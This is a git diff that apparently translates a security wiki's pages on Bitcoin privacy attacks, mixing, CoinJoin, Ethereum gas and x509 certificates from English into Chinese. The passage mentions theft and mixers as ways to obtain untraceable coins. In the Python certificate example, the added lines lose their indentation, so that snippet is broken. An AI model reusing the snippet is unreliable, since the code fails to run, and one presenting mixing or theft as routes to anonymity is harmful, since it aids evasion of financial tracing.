-- **Exact Payment Amounts:** Transactions without change are likely between two addresses owned by the same user.
-- **Round Numbers:** A round number in a transaction suggests it's a payment, with the non-round output likely being the change.
-- **Wallet Fingerprinting:** Different wallets have unique transaction creation patterns, allowing analysts to identify the software used and potentially the change address.
-- **Amount & Timing Correlations:** Disclosing transaction times or amounts can make transactions traceable.
+## **流量分析**
-## **Traffic Analysis**
+通过监控网络流量,攻击者可能将交易或区块与IP地址关联,从而危及用户隐私。如果一个实体运营多个比特币节点,这种情况尤其明显,因为这增强了他们监控交易的能力。
-By monitoring network traffic, attackers can potentially link transactions or blocks to IP addresses, compromising user privacy. This is especially true if an entity operates many Bitcoin nodes, enhancing their ability to monitor transactions.
+## 更多
-## More
+有关隐私攻击和防御的全面列表,请访问 [Bitcoin Privacy on Bitcoin Wiki](https://en.bitcoin.it/wiki/Privacy)。
-For a comprehensive list of privacy attacks and defenses, visit [Bitcoin Privacy on Bitcoin Wiki](https://en.bitcoin.it/wiki/Privacy).
+# 匿名比特币交易
-# Anonymous Bitcoin Transactions
+## 匿名获取比特币的方法
-## Ways to Get Bitcoins Anonymously
+- **现金交易:** 通过现金获取比特币。
+- **现金替代品:** 购买礼品卡并在线兑换比特币。
+- **挖矿:** 通过挖矿获得比特币是最私密的方法,尤其是单独进行时,因为挖矿池可能知道矿工的IP地址。 [Mining Pools Information](https://en.bitcoin.it/wiki/Pooled_mining)
+- **盗窃:** 理论上,盗窃比特币可能是另一种匿名获取比特币的方法,尽管这是非法的且不推荐。
-- **Cash Transactions**: Acquiring bitcoin through cash.
-- **Cash Alternatives**: Purchasing gift cards and exchanging them online for bitcoin.
-- **Mining**: The most private method to earn bitcoins is through mining, especially when done alone because mining pools may know the miner's IP address. [Mining Pools Information](https://en.bitcoin.it/wiki/Pooled_mining)
-- **Theft**: Theoretically, stealing bitcoin could be another method to acquire it anonymously, although it's illegal and not recommended.
+## 混合服务
-## Mixing Services
-
-By using a mixing service, a user can **send bitcoins** and receive **different bitcoins in return**, which makes tracing the original owner difficult. Yet, this requires trust in the service not to keep logs and to actually return the bitcoins. Alternative mixing options include Bitcoin casinos.
+通过使用混合服务,用户可以**发送比特币**并接收**不同的比特币作为回报**,这使得追踪原始所有者变得困难。然而,这需要对服务的信任,以确保其不保留日志并实际返回比特币。替代的混合选项包括比特币赌场。
## CoinJoin
-**CoinJoin** merges multiple transactions from different users into one, complicating the process for anyone trying to match inputs with outputs. Despite its effectiveness, transactions with unique input and output sizes can still potentially be traced.
+**CoinJoin** 将来自不同用户的多个交易合并为一个,复杂化了任何试图将输入与输出匹配的过程。尽管其有效性,具有独特输入和输出大小的交易仍然可能被追踪。
-Example transactions that may have used CoinJoin include `402d3e1df685d1fdf82f36b220079c1bf44db227df2d676625ebcbee3f6cb22a` and `85378815f6ee170aa8c26694ee2df42b99cff7fa9357f073c1192fff1f540238`.
+可能使用CoinJoin的示例交易包括 `402d3e1df685d1fdf82f36b220079c1bf44db227df2d676625ebcbee3f6cb22a` 和 `85378815f6ee170aa8c26694ee2df42b99cff7fa9357f073c1192fff1f540238`。
-For more information, visit [CoinJoin](https://coinjoin.io/en). For a similar service on Ethereum, check out [Tornado Cash](https://tornado.cash), which anonymizes transactions with funds from miners.
+有关更多信息,请访问 [CoinJoin](https://coinjoin.io/en)。有关以太坊上的类似服务,请查看 [Tornado Cash](https://tornado.cash),它通过矿工的资金匿名化交易。
## PayJoin
-A variant of CoinJoin, **PayJoin** (or P2EP), disguises the transaction among two parties (e.g., a customer and a merchant) as a regular transaction, without the distinctive equal outputs characteristic of CoinJoin. This makes it extremely hard to detect and could invalidate the common-input-ownership heuristic used by transaction surveillance entities.
-
+**PayJoin**(或P2EP)是CoinJoin的一种变体,在两个参与方(例如,客户和商家)之间伪装交易为常规交易,而没有CoinJoin特有的相等输出特征。这使得检测变得极其困难,并可能使交易监控实体使用的共同输入所有权启发式失效。
```plaintext
2 btc --> 3 btc
5 btc 4 btc
```
+像上面这样的交易可能是 PayJoin,增强隐私,同时与标准比特币交易无异。
-Transactions like the above could be PayJoin, enhancing privacy while remaining indistinguishable from standard bitcoin transactions.
+**PayJoin 的使用可能会显著破坏传统监控方法**,使其在追求交易隐私方面成为一个有前景的发展。
-**The utilization of PayJoin could significantly disrupt traditional surveillance methods**, making it a promising development in the pursuit of transactional privacy.
+# 加密货币隐私的最佳实践
-# Best Practices for Privacy in Cryptocurrencies
+## **钱包同步技术**
-## **Wallet Synchronization Techniques**
+为了维护隐私和安全,与区块链同步钱包至关重要。有两种方法脱颖而出:
-To maintain privacy and security, synchronizing wallets with the blockchain is crucial. Two methods stand out:
+- **全节点**:通过下载整个区块链,全节点确保最大隐私。所有曾经进行的交易都存储在本地,使对手无法识别用户感兴趣的交易或地址。
+- **客户端区块过滤**:此方法涉及为区块链中的每个区块创建过滤器,使钱包能够识别相关交易,而不向网络观察者暴露特定兴趣。轻量级钱包下载这些过滤器,仅在找到与用户地址匹配时才获取完整区块。
-- **Full node**: By downloading the entire blockchain, a full node ensures maximum privacy. All transactions ever made are stored locally, making it impossible for adversaries to identify which transactions or addresses the user is interested in.
-- **Client-side block filtering**: This method involves creating filters for every block in the blockchain, allowing wallets to identify relevant transactions without exposing specific interests to network observers. Lightweight wallets download these filters, only fetching full blocks when a match with the user's addresses is found.
+## **利用 Tor 实现匿名性**
-## **Utilizing Tor for Anonymity**
+鉴于比特币在点对点网络上运行,建议使用 Tor 来掩盖您的 IP 地址,在与网络交互时增强隐私。
-Given that Bitcoin operates on a peer-to-peer network, using Tor is recommended to mask your IP address, enhancing privacy when interacting with the network.
+## **防止地址重用**
-## **Preventing Address Reuse**
+为了保护隐私,使用新地址进行每笔交易至关重要。重用地址可能会通过将交易链接到同一实体而危及隐私。现代钱包通过其设计来阻止地址重用。
-To safeguard privacy, it's vital to use a new address for every transaction. Reusing addresses can compromise privacy by linking transactions to the same entity. Modern wallets discourage address reuse through their design.
+## **交易隐私策略**
-## **Strategies for Transaction Privacy**
+- **多笔交易**:将支付拆分为几笔交易可以模糊交易金额,从而阻止隐私攻击。
+- **避免找零**:选择不需要找零输出的交易可以通过破坏找零检测方法来增强隐私。
+- **多个找零输出**:如果无法避免找零,生成多个找零输出仍然可以改善隐私。
-- **Multiple transactions**: Splitting a payment into several transactions can obscure the transaction amount, thwarting privacy attacks.
-- **Change avoidance**: Opting for transactions that don't require change outputs enhances privacy by disrupting change detection methods.
-- **Multiple change outputs**: If avoiding change isn't feasible, generating multiple change outputs can still improve privacy.
+# **门罗币:匿名性的灯塔**
-# **Monero: A Beacon of Anonymity**
+门罗币满足数字交易中对绝对匿名性的需求,为隐私设定了高标准。
-Monero addresses the need for absolute anonymity in digital transactions, setting a high standard for privacy.
+# **以太坊:燃料费和交易**
-# **Ethereum: Gas and Transactions**
+## **理解燃料费**
-## **Understanding Gas**
+燃料费衡量在以太坊上执行操作所需的计算工作量,以 **gwei** 计价。例如,一笔交易的费用为 2,310,000 gwei(或 0.00231 ETH),涉及燃料限制和基本费用,并向矿工提供小费以激励他们。用户可以设置最高费用,以确保他们不会支付过多,超出部分会被退还。
-Gas measures the computational effort needed to execute operations on Ethereum, priced in **gwei**. For example, a transaction costing 2,310,000 gwei (or 0.00231 ETH) involves a gas limit and a base fee, with a tip to incentivize miners. Users can set a max fee to ensure they don't overpay, with the excess refunded.
+## **执行交易**
-## **Executing Transactions**
+以太坊中的交易涉及发送者和接收者,可以是用户或智能合约地址。它们需要支付费用并且必须被挖掘。交易中的关键信息包括接收者、发送者的签名、价值、可选数据、燃料限制和费用。值得注意的是,发送者的地址是从签名中推导出来的,因此在交易数据中不需要它。
-Transactions in Ethereum involve a sender and a recipient, which can be either user or smart contract addresses. They require a fee and must be mined. Essential information in a transaction includes the recipient, sender's signature, value, optional data, gas limit, and fees. Notably, the sender's address is deduced from the signature, eliminating the need for it in the transaction data.
+这些实践和机制是任何希望参与加密货币,同时优先考虑隐私和安全的人的基础。
-These practices and mechanisms are foundational for anyone looking to engage with cryptocurrencies while prioritizing privacy and security.
-
-## References
+## 参考文献
- [https://en.wikipedia.org/wiki/Proof_of_stake](https://en.wikipedia.org/wiki/Proof_of_stake)
- [https://www.mycryptopedia.com/public-key-private-key-explained/](https://www.mycryptopedia.com/public-key-private-key-explained/)
diff --git a/src/crypto-and-stego/blockchain-and-crypto-currencies.md b/src/crypto-and-stego/blockchain-and-crypto-currencies.md
index 71b79f58f..433e0b553 100644
--- a/src/crypto-and-stego/blockchain-and-crypto-currencies.md
+++ b/src/crypto-and-stego/blockchain-and-crypto-currencies.md
@@ -1,180 +1,176 @@
{{#include ../banners/hacktricks-training.md}}
-## Basic Concepts
+## 基本概念
-- **Smart Contracts** are defined as programs that execute on a blockchain when certain conditions are met, automating agreement executions without intermediaries.
-- **Decentralized Applications (dApps)** build upon smart contracts, featuring a user-friendly front-end and a transparent, auditable back-end.
-- **Tokens & Coins** differentiate where coins serve as digital money, while tokens represent value or ownership in specific contexts.
- - **Utility Tokens** grant access to services, and **Security Tokens** signify asset ownership.
-- **DeFi** stands for Decentralized Finance, offering financial services without central authorities.
-- **DEX** and **DAOs** refer to Decentralized Exchange Platforms and Decentralized Autonomous Organizations, respectively.
+- **智能合约** 被定义为在区块链上执行的程序,当满足特定条件时,自动化协议执行,无需中介。
+- **去中心化应用(dApps)** 基于智能合约构建,具有用户友好的前端和透明、可审计的后端。
+- **代币与币** 区分开来,币作为数字货币,而代币在特定上下文中代表价值或所有权。
+- **实用代币** 授予对服务的访问权限,**安全代币** 表示资产所有权。
+- **DeFi** 代表去中心化金融,提供无中央权威的金融服务。
+- **DEX** 和 **DAO** 分别指去中心化交易平台和去中心化自治组织。
-## Consensus Mechanisms
+## 共识机制
-Consensus mechanisms ensure secure and agreed transaction validations on the blockchain:
+共识机制确保区块链上安全和一致的交易验证:
-- **Proof of Work (PoW)** relies on computational power for transaction verification.
-- **Proof of Stake (PoS)** demands validators to hold a certain amount of tokens, reducing energy consumption compared to PoW.
+- **工作量证明(PoW)** 依赖计算能力进行交易验证。
+- **权益证明(PoS)** 要求验证者持有一定数量的代币,相较于PoW减少能耗。
-## Bitcoin Essentials
+## 比特币基础知识
-### Transactions
+### 交易
-Bitcoin transactions involve transferring funds between addresses. Transactions are validated through digital signatures, ensuring only the owner of the private key can initiate transfers.
+比特币交易涉及在地址之间转移资金。交易通过数字签名进行验证,确保只有私钥的拥有者可以发起转账。
-#### Key Components:
+#### 关键组件:
-- **Multisignature Transactions** require multiple signatures to authorize a transaction.
-- Transactions consist of **inputs** (source of funds), **outputs** (destination), **fees** (paid to miners), and **scripts** (transaction rules).
+- **多重签名交易** 需要多个签名来授权交易。
+- 交易由 **输入**(资金来源)、**输出**(目的地)、**费用**(支付给矿工)和 **脚本**(交易规则)组成。
-### Lightning Network
+### 闪电网络
-Aims to enhance Bitcoin's scalability by allowing multiple transactions within a channel, only broadcasting the final state to the blockchain.
+旨在通过允许在一个通道内进行多笔交易来增强比特币的可扩展性,仅将最终状态广播到区块链。
-## Bitcoin Privacy Concerns
+## 比特币隐私问题
-Privacy attacks, such as **Common Input Ownership** and **UTXO Change Address Detection**, exploit transaction patterns. Strategies like **Mixers** and **CoinJoin** improve anonymity by obscuring transaction links between users.
+隐私攻击,如 **共同输入所有权** 和 **UTXO找零地址检测**,利用交易模式。策略如 **混合器** 和 **CoinJoin** 通过模糊用户之间的交易链接来提高匿名性。
-## Acquiring Bitcoins Anonymously
+## 匿名获取比特币
-Methods include cash trades, mining, and using mixers. **CoinJoin** mixes multiple transactions to complicate traceability, while **PayJoin** disguises CoinJoins as regular transactions for heightened privacy.
+方法包括现金交易、挖矿和使用混合器。**CoinJoin** 混合多笔交易以复杂化可追溯性,而 **PayJoin** 将CoinJoins伪装成常规交易以增强隐私。
-# Bitcoin Privacy Atacks
+# 比特币隐私攻击
-# Summary of Bitcoin Privacy Attacks
+# 比特币隐私攻击总结
-In the world of Bitcoin, the privacy of transactions and the anonymity of users are often subjects of concern. Here's a simplified overview of several common methods through which attackers can compromise Bitcoin privacy.
+在比特币的世界中,交易的隐私和用户的匿名性常常是关注的主题。以下是攻击者可能通过几种常见方法破坏比特币隐私的简化概述。
-## **Common Input Ownership Assumption**
+## **共同输入所有权假设**
-It is generally rare for inputs from different users to be combined in a single transaction due to the complexity involved. Thus, **two input addresses in the same transaction are often assumed to belong to the same owner**.
+由于涉及的复杂性,不同用户的输入在单笔交易中组合的情况通常很少。因此,**同一交易中的两个输入地址通常被假定属于同一所有者**。
-## **UTXO Change Address Detection**
+## **UTXO找零地址检测**
-A UTXO, or **Unspent Transaction Output**, must be entirely spent in a transaction. If only a part of it is sent to another address, the remainder goes to a new change address. Observers can assume this new address belongs to the sender, compromising privacy.
+UTXO,或 **未花费交易输出**,必须在交易中完全花费。如果只有一部分发送到另一个地址,剩余部分将转到一个新的找零地址。观察者可以假设这个新地址属于发送者,从而损害隐私。
-### Example
+### 示例
-To mitigate this, mixing services or using multiple addresses can help obscure ownership.
+为减轻此问题,混合服务或使用多个地址可以帮助模糊所有权。
-## **Social Networks & Forums Exposure**
+## **社交网络与论坛曝光**
-Users sometimes share their Bitcoin addresses online, making it **easy to link the address to its owner**.
+用户有时在网上分享他们的比特币地址,使得 **很容易将地址与其所有者关联**。
-## **Transaction Graph Analysis**
+## **交易图分析**
-Transactions can be visualized as graphs, revealing potential connections between users based on the flow of funds.
+交易可以被可视化为图形,揭示基于资金流动的用户之间的潜在连接。
-## **Unnecessary Input Heuristic (Optimal Change Heuristic)**
+## **不必要输入启发式(最佳找零启发式)**
-This heuristic is based on analyzing transactions with multiple inputs and outputs to guess which output is the change returning to the sender.
-
-### Example
+该启发式基于分析具有多个输入和输出的交易,以猜测哪个输出是返回给发送者的找零。
+### 示例
```bash
2 btc --> 4 btc
3 btc 1 btc
```
+如果添加更多输入使得变化输出大于任何单一输入,它可能会混淆启发式分析。
-If adding more inputs makes the change output larger than any single input, it can confuse the heuristic.
+## **强制地址重用**
-## **Forced Address Reuse**
+攻击者可能会向之前使用过的地址发送少量资金,希望收款人将这些资金与未来交易中的其他输入合并,从而将地址链接在一起。
-Attackers may send small amounts to previously used addresses, hoping the recipient combines these with other inputs in future transactions, thereby linking addresses together.
+### 正确的钱包行为
-### Correct Wallet Behavior
+钱包应避免使用在已经使用过的空地址上收到的硬币,以防止这种隐私泄露。
-Wallets should avoid using coins received on already used, empty addresses to prevent this privacy leak.
+## **其他区块链分析技术**
-## **Other Blockchain Analysis Techniques**
+- **确切支付金额:** 没有找零的交易很可能是在两个由同一用户拥有的地址之间进行的。
+- **整数金额:** 交易中的整数金额表明这是一次支付,而非整数输出很可能是找零。
+- **钱包指纹识别:** 不同的钱包具有独特的交易创建模式,允许分析师识别所使用的软件,并可能识别找零地址。
+- **金额与时间相关性:** 公开交易时间或金额可能使交易可追踪。
-- **Exact Payment Amounts:** Transactions without change are likely between two addresses owned by the same user.
-- **Round Numbers:** A round number in a transaction suggests it's a payment, with the non-round output likely being the change.
-- **Wallet Fingerprinting:** Different wallets have unique transaction creation patterns, allowing analysts to identify the software used and potentially the change address.
-- **Amount & Timing Correlations:** Disclosing transaction times or amounts can make transactions traceable.
+## **流量分析**
-## **Traffic Analysis**
+通过监控网络流量,攻击者可以潜在地将交易或区块与IP地址关联,从而危及用户隐私。如果一个实体运营多个比特币节点,这种情况尤其明显,增强了他们监控交易的能力。
-By monitoring network traffic, attackers can potentially link transactions or blocks to IP addresses, compromising user privacy. This is especially true if an entity operates many Bitcoin nodes, enhancing their ability to monitor transactions.
+## 更多
-## More
+有关隐私攻击和防御的全面列表,请访问 [Bitcoin Privacy on Bitcoin Wiki](https://en.bitcoin.it/wiki/Privacy)。
-For a comprehensive list of privacy attacks and defenses, visit [Bitcoin Privacy on Bitcoin Wiki](https://en.bitcoin.it/wiki/Privacy).
+# 匿名比特币交易
-# Anonymous Bitcoin Transactions
+## 匿名获取比特币的方法
-## Ways to Get Bitcoins Anonymously
+- **现金交易:** 通过现金获取比特币。
+- **现金替代品:** 购买礼品卡并在线兑换比特币。
+- **挖矿:** 通过挖矿获得比特币是最私密的方法,尤其是单独进行时,因为挖矿池可能知道矿工的IP地址。 [Mining Pools Information](https://en.bitcoin.it/wiki/Pooled_mining)
+- **盗窃:** 理论上,盗窃比特币可能是另一种匿名获取比特币的方法,尽管这是非法的且不推荐。
-- **Cash Transactions**: Acquiring bitcoin through cash.
-- **Cash Alternatives**: Purchasing gift cards and exchanging them online for bitcoin.
-- **Mining**: The most private method to earn bitcoins is through mining, especially when done alone because mining pools may know the miner's IP address. [Mining Pools Information](https://en.bitcoin.it/wiki/Pooled_mining)
-- **Theft**: Theoretically, stealing bitcoin could be another method to acquire it anonymously, although it's illegal and not recommended.
+## 混合服务
-## Mixing Services
-
-By using a mixing service, a user can **send bitcoins** and receive **different bitcoins in return**, which makes tracing the original owner difficult. Yet, this requires trust in the service not to keep logs and to actually return the bitcoins. Alternative mixing options include Bitcoin casinos.
+通过使用混合服务,用户可以**发送比特币**并**收到不同的比特币作为回报**,这使得追踪原始所有者变得困难。然而,这需要对服务的信任,以确保其不保留日志并实际返回比特币。替代的混合选项包括比特币赌场。
## CoinJoin
-**CoinJoin** merges multiple transactions from different users into one, complicating the process for anyone trying to match inputs with outputs. Despite its effectiveness, transactions with unique input and output sizes can still potentially be traced.
+**CoinJoin** 将来自不同用户的多个交易合并为一个,复杂化了任何试图将输入与输出匹配的过程。尽管其有效性,具有独特输入和输出大小的交易仍然可能被追踪。
-Example transactions that may have used CoinJoin include `402d3e1df685d1fdf82f36b220079c1bf44db227df2d676625ebcbee3f6cb22a` and `85378815f6ee170aa8c26694ee2df42b99cff7fa9357f073c1192fff1f540238`.
+可能使用 CoinJoin 的示例交易包括 `402d3e1df685d1fdf82f36b220079c1bf44db227df2d676625ebcbee3f6cb22a` 和 `85378815f6ee170aa8c26694ee2df42b99cff7fa9357f073c1192fff1f540238`。
-For more information, visit [CoinJoin](https://coinjoin.io/en). For a similar service on Ethereum, check out [Tornado Cash](https://tornado.cash), which anonymizes transactions with funds from miners.
+有关更多信息,请访问 [CoinJoin](https://coinjoin.io/en)。有关以太坊上的类似服务,请查看 [Tornado Cash](https://tornado.cash),它通过矿工的资金匿名化交易。
## PayJoin
-A variant of CoinJoin, **PayJoin** (or P2EP), disguises the transaction among two parties (e.g., a customer and a merchant) as a regular transaction, without the distinctive equal outputs characteristic of CoinJoin. This makes it extremely hard to detect and could invalidate the common-input-ownership heuristic used by transaction surveillance entities.
-
+**PayJoin**(或 P2EP)是 CoinJoin 的一种变体,它将两个参与方(例如,客户和商家)之间的交易伪装成常规交易,而没有 CoinJoin 特有的相等输出特征。这使得检测变得极其困难,并可能使交易监控实体使用的共同输入所有权启发式失效。
```plaintext
2 btc --> 3 btc
5 btc 4 btc
```
+像上述交易可以是 PayJoin,增强隐私,同时与标准比特币交易无区别。
-Transactions like the above could be PayJoin, enhancing privacy while remaining indistinguishable from standard bitcoin transactions.
+**PayJoin 的使用可能会显著破坏传统监控方法**,使其成为追求交易隐私的一个有前景的发展。
-**The utilization of PayJoin could significantly disrupt traditional surveillance methods**, making it a promising development in the pursuit of transactional privacy.
+# 加密货币隐私的最佳实践
-# Best Practices for Privacy in Cryptocurrencies
+## **钱包同步技术**
-## **Wallet Synchronization Techniques**
+为了维护隐私和安全,与区块链同步钱包至关重要。有两种方法脱颖而出:
-To maintain privacy and security, synchronizing wallets with the blockchain is crucial. Two methods stand out:
+- **全节点**:通过下载整个区块链,全节点确保最大隐私。所有曾经进行的交易都存储在本地,使对手无法识别用户感兴趣的交易或地址。
+- **客户端区块过滤**:此方法涉及为区块链中的每个区块创建过滤器,使钱包能够识别相关交易,而不向网络观察者暴露特定兴趣。轻量级钱包下载这些过滤器,仅在与用户地址匹配时获取完整区块。
-- **Full node**: By downloading the entire blockchain, a full node ensures maximum privacy. All transactions ever made are stored locally, making it impossible for adversaries to identify which transactions or addresses the user is interested in.
-- **Client-side block filtering**: This method involves creating filters for every block in the blockchain, allowing wallets to identify relevant transactions without exposing specific interests to network observers. Lightweight wallets download these filters, only fetching full blocks when a match with the user's addresses is found.
+## **利用 Tor 实现匿名性**
-## **Utilizing Tor for Anonymity**
+鉴于比特币在点对点网络上运行,建议使用 Tor 来掩盖您的 IP 地址,在与网络互动时增强隐私。
-Given that Bitcoin operates on a peer-to-peer network, using Tor is recommended to mask your IP address, enhancing privacy when interacting with the network.
+## **防止地址重用**
-## **Preventing Address Reuse**
+为了保护隐私,使用新地址进行每笔交易至关重要。重用地址可能会通过将交易链接到同一实体而危及隐私。现代钱包通过其设计来阻止地址重用。
-To safeguard privacy, it's vital to use a new address for every transaction. Reusing addresses can compromise privacy by linking transactions to the same entity. Modern wallets discourage address reuse through their design.
+## **交易隐私策略**
-## **Strategies for Transaction Privacy**
+- **多笔交易**:将支付拆分为几笔交易可以模糊交易金额,阻碍隐私攻击。
+- **避免找零**:选择不需要找零输出的交易可以通过干扰找零检测方法来增强隐私。
+- **多个找零输出**:如果无法避免找零,生成多个找零输出仍然可以改善隐私。
-- **Multiple transactions**: Splitting a payment into several transactions can obscure the transaction amount, thwarting privacy attacks.
-- **Change avoidance**: Opting for transactions that don't require change outputs enhances privacy by disrupting change detection methods.
-- **Multiple change outputs**: If avoiding change isn't feasible, generating multiple change outputs can still improve privacy.
+# **门罗币:匿名性的灯塔**
-# **Monero: A Beacon of Anonymity**
+门罗币满足数字交易中对绝对匿名性的需求,为隐私设定了高标准。
-Monero addresses the need for absolute anonymity in digital transactions, setting a high standard for privacy.
+# **以太坊:燃料费和交易**
-# **Ethereum: Gas and Transactions**
+## **理解燃料费**
-## **Understanding Gas**
+燃料费衡量在以太坊上执行操作所需的计算努力,以 **gwei** 定价。例如,一笔交易的费用为 2,310,000 gwei(或 0.00231 ETH),涉及燃料限制和基本费用,并向矿工提供小费以激励他们。用户可以设置最高费用,以确保他们不会支付过多,超出部分会退还。
-Gas measures the computational effort needed to execute operations on Ethereum, priced in **gwei**. For example, a transaction costing 2,310,000 gwei (or 0.00231 ETH) involves a gas limit and a base fee, with a tip to incentivize miners. Users can set a max fee to ensure they don't overpay, with the excess refunded.
+## **执行交易**
-## **Executing Transactions**
+以太坊中的交易涉及发送者和接收者,可以是用户或智能合约地址。它们需要支付费用并且必须被挖掘。交易中的关键信息包括接收者、发送者的签名、金额、可选数据、燃料限制和费用。值得注意的是,发送者的地址是从签名中推导出来的,因此在交易数据中不需要它。
-Transactions in Ethereum involve a sender and a recipient, which can be either user or smart contract addresses. They require a fee and must be mined. Essential information in a transaction includes the recipient, sender's signature, value, optional data, gas limit, and fees. Notably, the sender's address is deduced from the signature, eliminating the need for it in the transaction data.
+这些实践和机制是任何希望参与加密货币,同时优先考虑隐私和安全的人的基础。
-These practices and mechanisms are foundational for anyone looking to engage with cryptocurrencies while prioritizing privacy and security.
-
-## References
+## 参考文献
- [https://en.wikipedia.org/wiki/Proof_of_stake](https://en.wikipedia.org/wiki/Proof_of_stake)
- [https://www.mycryptopedia.com/public-key-private-key-explained/](https://www.mycryptopedia.com/public-key-private-key-explained/)
diff --git a/src/crypto-and-stego/certificates.md b/src/crypto-and-stego/certificates.md
index d0c4ad006..1d02a0e00 100644
--- a/src/crypto-and-stego/certificates.md
+++ b/src/crypto-and-stego/certificates.md
@@ -1,47 +1,38 @@
-# Certificates
+# 证书
{{#include ../banners/hacktricks-training.md}}
-
+## 什么是证书
-\
-Use [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_term=trickest&utm_content=certificates) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\
-Get Access Today:
+一个 **公钥证书** 是在密码学中用于证明某人拥有公钥的数字身份。它包括密钥的详细信息、所有者的身份(主题)以及来自受信任机构(发行者)的数字签名。如果软件信任发行者并且签名有效,则可以与密钥的所有者进行安全通信。
-{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=certificates" %}
+证书主要由 [证书颁发机构](https://en.wikipedia.org/wiki/Certificate_authority) (CAs) 在 [公钥基础设施](https://en.wikipedia.org/wiki/Public-key_infrastructure) (PKI) 设置中颁发。另一种方法是 [信任网络](https://en.wikipedia.org/wiki/Web_of_trust),用户直接验证彼此的密钥。证书的常见格式是 [X.509](https://en.wikipedia.org/wiki/X.509),可以根据 RFC 5280 中概述的特定需求进行调整。
-## What is a Certificate
+## x509 常见字段
-A **public key certificate** is a digital ID used in cryptography to prove someone owns a public key. It includes the key's details, the owner's identity (the subject), and a digital signature from a trusted authority (the issuer). If the software trusts the issuer and the signature is valid, secure communication with the key's owner is possible.
+### **x509 证书中的常见字段**
-Certificates are mostly issued by [certificate authorities](https://en.wikipedia.org/wiki/Certificate_authority) (CAs) in a [public-key infrastructure](https://en.wikipedia.org/wiki/Public-key_infrastructure) (PKI) setup. Another method is the [web of trust](https://en.wikipedia.org/wiki/Web_of_trust), where users directly verify each other’s keys. The common format for certificates is [X.509](https://en.wikipedia.org/wiki/X.509), which can be adapted for specific needs as outlined in RFC 5280.
+在 x509 证书中,几个 **字段** 在确保证书的有效性和安全性方面发挥着关键作用。以下是这些字段的详细说明:
-## x509 Common Fields
+- **版本号** 表示 x509 格式的版本。
+- **序列号** 在证书颁发机构(CA)系统中唯一标识证书,主要用于撤销跟踪。
+- **主题** 字段表示证书的所有者,可以是机器、个人或组织。它包括详细的身份识别,例如:
+- **通用名称 (CN)**:证书覆盖的域。
+- **国家 (C)**、**地方 (L)**、**州或省 (ST, S, or P)**、**组织 (O)** 和 **组织单位 (OU)** 提供地理和组织的详细信息。
+- **区分名称 (DN)** 概括了完整的主题识别。
+- **发行者** 详细说明了谁验证并签署了证书,包括与主题类似的子字段。
+- **有效期** 由 **生效时间** 和 **失效时间** 时间戳标记,确保证书在某个日期之前或之后不被使用。
+- **公钥** 部分对于证书的安全至关重要,指定公钥的算法、大小和其他技术细节。
+- **x509v3 扩展** 增强了证书的功能,指定 **密钥使用**、**扩展密钥使用**、**主题备用名称** 和其他属性,以微调证书的应用。
-### **Common Fields in x509 Certificates**
-
-In x509 certificates, several **fields** play critical roles in ensuring the certificate's validity and security. Here's a breakdown of these fields:
-
-- **Version Number** signifies the x509 format's version.
-- **Serial Number** uniquely identifies the certificate within a Certificate Authority's (CA) system, mainly for revocation tracking.
-- The **Subject** field represents the certificate's owner, which could be a machine, an individual, or an organization. It includes detailed identification such as:
- - **Common Name (CN)**: Domains covered by the certificate.
- - **Country (C)**, **Locality (L)**, **State or Province (ST, S, or P)**, **Organization (O)**, and **Organizational Unit (OU)** provide geographical and organizational details.
- - **Distinguished Name (DN)** encapsulates the full subject identification.
-- **Issuer** details who verified and signed the certificate, including similar subfields as the Subject for the CA.
-- **Validity Period** is marked by **Not Before** and **Not After** timestamps, ensuring the certificate is not used before or after a certain date.
-- The **Public Key** section, crucial for the certificate's security, specifies the algorithm, size, and other technical details of the public key.
-- **x509v3 extensions** enhance the certificate's functionality, specifying **Key Usage**, **Extended Key Usage**, **Subject Alternative Name**, and other properties to fine-tune the certificate's application.
-
-#### **Key Usage and Extensions**
-
-- **Key Usage** identifies cryptographic applications of the public key, like digital signature or key encipherment.
-- **Extended Key Usage** further narrows down the certificate's use cases, e.g., for TLS server authentication.
-- **Subject Alternative Name** and **Basic Constraint** define additional host names covered by the certificate and whether it's a CA or end-entity certificate, respectively.
-- Identifiers like **Subject Key Identifier** and **Authority Key Identifier** ensure uniqueness and traceability of keys.
-- **Authority Information Access** and **CRL Distribution Points** provide paths to verify the issuing CA and check certificate revocation status.
-- **CT Precertificate SCTs** offer transparency logs, crucial for public trust in the certificate.
+#### **密钥使用和扩展**
+- **密钥使用** 确定公钥的密码应用,例如数字签名或密钥加密。
+- **扩展密钥使用** 进一步缩小证书的使用案例,例如用于 TLS 服务器身份验证。
+- **主题备用名称** 和 **基本约束** 定义证书覆盖的其他主机名,以及它是否是 CA 证书或终端实体证书。
+- 标识符如 **主题密钥标识符** 和 **授权密钥标识符** 确保密钥的唯一性和可追溯性。
+- **授权信息访问** 和 **CRL 分发点** 提供路径以验证发行 CA 并检查证书撤销状态。
+- **CT 预证书 SCTs** 提供透明日志,对于公众信任证书至关重要。
```python
# Example of accessing and using x509 certificate fields programmatically:
from cryptography import x509
@@ -49,8 +40,8 @@ from cryptography.hazmat.backends import default_backend
# Load an x509 certificate (assuming cert.pem is a certificate file)
with open("cert.pem", "rb") as file:
- cert_data = file.read()
- certificate = x509.load_pem_x509_certificate(cert_data, default_backend())
+cert_data = file.read()
+certificate = x509.load_pem_x509_certificate(cert_data, default_backend())
# Accessing fields
serial_number = certificate.serial_number
@@ -63,160 +54,123 @@ print(f"Issuer: {issuer}")
print(f"Subject: {subject}")
print(f"Public Key: {public_key}")
```
+### **OCSP与CRL分发点的区别**
-### **Difference between OCSP and CRL Distribution Points**
+**OCSP** (**RFC 2560**) 涉及客户端和响应者共同检查数字公钥证书是否已被撤销,而无需下载完整的 **CRL**。这种方法比传统的 **CRL** 更高效,后者提供被撤销证书序列号的列表,但需要下载一个可能很大的文件。CRL 可以包含多达 512 个条目。更多细节可在 [这里](https://www.arubanetworks.com/techdocs/ArubaOS%206_3_1_Web_Help/Content/ArubaFrameStyles/CertRevocation/About_OCSP_and_CRL.htm) 找到。
-**OCSP** (**RFC 2560**) involves a client and a responder working together to check if a digital public-key certificate has been revoked, without needing to download the full **CRL**. This method is more efficient than the traditional **CRL**, which provides a list of revoked certificate serial numbers but requires downloading a potentially large file. CRLs can include up to 512 entries. More details are available [here](https://www.arubanetworks.com/techdocs/ArubaOS%206_3_1_Web_Help/Content/ArubaFrameStyles/CertRevocation/About_OCSP_and_CRL.htm).
